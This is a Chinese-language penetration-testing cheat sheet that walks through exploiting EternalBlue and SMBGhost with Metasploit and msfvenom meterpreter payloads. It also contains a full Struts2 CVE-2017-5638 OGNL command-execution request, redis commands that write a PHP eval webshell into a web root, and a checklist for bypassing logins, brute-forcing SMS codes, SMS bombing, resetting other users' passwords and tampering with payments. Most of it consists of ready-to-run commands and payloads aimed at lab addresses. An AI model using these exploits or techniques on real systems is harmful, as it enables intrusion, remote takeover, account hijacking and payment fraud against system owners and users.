经典漏洞利用
windows
1. 永恒之蓝(MS17-010)漏洞利用
windows XP 445端口
nmap扫描:
nmap --script smb-vuln-ms17-010.nse 192.168.29.131
利用:
msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.29.131
set lhost 192.168.29.129
run
2. 永恒之黑(CVE-2020-0796)漏洞利用
windows 10
nmap检测脚本
https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse
nmap扫描:
nmap --script CVE-2020-0796 192.168.29.133
生成木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b '\x00' -i 1 -f python
#-p windows/x64/meterpreter/bind_tcp 设置payload为windows64位meterpreter控制台下的正向连接
#LPORT=6666 设置开发端口为6666
#-b '\x00' 设置在生成的程序中避免出现'\x00'
#-i 1 设置编码次数为一次
#-f python 设置生成python格式文件
下载POC
将生成的buf加入文件,并搜索USER_PAYLOAD,将"KERNEL_SHELLCODE += USER_PAYLOAD"改为"KERNEL_SHELLCODE += buf"
开启msf监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.29.133
run
运行exp
python3 exploit.py -ip 192.168.29.133
最后一步按回车执行shellcode,然后在监听端就可以getshell
(不稳定,很容易打蓝屏,win10一旦被打蓝屏就会自动更新,修复漏洞,需要用快照恢复)
Struts2
1. Struts2-045(CVE-2017-5638)
Struts 2.3.5–Struts 2.3.31;Struts 2.5–Struts 2.5.10
Struts2在判断请求的Content-Type不正确时会抛出异常,并且在异常中会带上Content-Type属性值。
而基于Jakarta Multipart parser的文件上传模块在处理文件上传(multipart)请求时会对异常进行捕获,并对异常信息进行OGNL表达式处理。
因此在Content-Type属性中构造OGNL表达式就可以导致远程代码执行。
POC:
Content-Type:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
struts2上传时抓包,将Content-Type值改为payload:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 344
Origin: http://localhost:8080
DNT: 1
Connection: close
Referer: http://localhost:8080/struts2-showcase/fileupload/upload.action
Cookie: JSESSIONID=FDB26033D44E55EE030219CD481B6FD2; JSESSIONID=E451583867B41DAEA1F392058BEB8EBE
Upgrade-Insecure-Requests: 1
-----------------------------848318764455778412216306604
Content-Disposition: form-data; name="upload"; filename="123.md"
Content-Type: application/octet-stream
123456
-----------------------------848318764455778412216306604
Content-Disposition: form-data; name="caption"
-----------------------------848318764455778412216306604--
redis
1. redis未授权访问漏洞
由于redis服务器没有设置密码,导致可以任意访问。
可以获取或设置redis变量,改变rdb文件路径和文件名,从而可向任何文件写入数据。
需要redis服务器关闭保护模式,允许外部ip访问,设置节点可写操作,要写入文件必须redis-server以root权限启动。
(1)可向网站根目录文件写入webshell
连接服务器后,设置一个redis变量为webshell,将rdb文件指定为网站根目录中的文件,然后执行save将所有redis变量写入该文件中。
$ redis-cli -h 192.168.29.130 #连接redis服务器
192.168.29.130:6379> set . "\n\n<?php @eval($_POST[cmd]);?>\n\n" #设置变量.为php一句话木马,前后加换行
OK
192.168.29.130:6379> config set dir /var/www/html #设置rdb文件目录为网站根目录
OK
192.168.29.130:6379> config set dbfilename phpinfo.php #设置rdb文件名为phpinfo.php(文件不存在会自动创建)
OK
192.168.29.130:6379> save #将当前redis实例的所有数据快照以rdb文件的形式保存到硬盘(需要redis-server以root权限启动)
OK
apache
Superset
CVE-2023-27524
Apache Superset <= 2.0.1
未授权访问漏洞
逻辑漏洞
1. 注册
前端验证
查看是否能修改前端,绕过限制。
用burp抓包,查看每个返回包是否有true、false等判断参数,尝试将false改为true,绕过验证码等限制。(若只在前端判断,则会存在此漏洞)
尝试是否能重复注册,可将任意账户重置。
手机验证码注册
若验证码无有效期,或有效期过长,可尝试爆破验证码。
在验证码正确情况下,尝试修改发送包的手机号。(没有将验证码与手机号匹配,会造成任意用户注册)
burp抓发送短信验证码的包,尝试连续重放,若手机能收到多条短信,则存在短信轰炸。(后端没有限制对同一手机号的发送时间间隔)
查看发送验证码短信后,是否有包含验证码的数据包发到前端。(有些使用前端验证,在生成验证码后会同时发送到手机和前端)
2. 登陆
前端验证
burp抓包,查看返回包中是否有true、false等判断,尝试将false改为true,造成任意用户登录。
登陆成功时,查看返回包中是否有用户id等(或token),尝试任意用户登录。
手机验证码登陆
若验证码无有效期,可尝试爆破,造成任意用户登陆。
正确验证码时,尝试修改发送包的手机号,任意用户登陆。
尝试重发发送短信包,短信轰炸。
查看发送验证码短信后,是否有包含验证码的数据包发到前端。
3. 找回密码
前端验证
burp抓包,查看返回包中是否有判断参数,尝试修改判断参数,造成任意用户密码修改。
验证成功时,查看返回包中是否有用户id(或token),尝试任意用户密码修改。
手机验证码找回
若验证码无有效期,可尝试爆破,造成任意用户密码修改
正确验证码时,尝试修改发送包的手机号,任意用户密码修改。
尝试重发发送短信包,短信轰炸。
查看发送验证码短信后,是否有包含验证码的数据包发到前端。
邮箱找回
构造链接修改用户参数(token等)
4. 支付与越权
支付
提交订单或者结算时,修改商品id,数量,金额,订单号等参数。
直接修改前端,修改订单金额,如form表单的value值。
获取支付成功的数据包,将另一个订单提交时的参数填入,提交。
越权
登陆时修改身份标识。
查看自己信息时抓包,将用户标识替换为另一个账号。(另一个账号的标识可以从注册、密码找回、用户信息等地方找)
修改账户信息时抓包,将用户标识替换为另一个账号。
登陆成功时查看是否有返回当前用户敏感信息的json,将用户标识换成另一个账号。
查看是否有访问控制,如直接进入管理员页面,任意下载文件,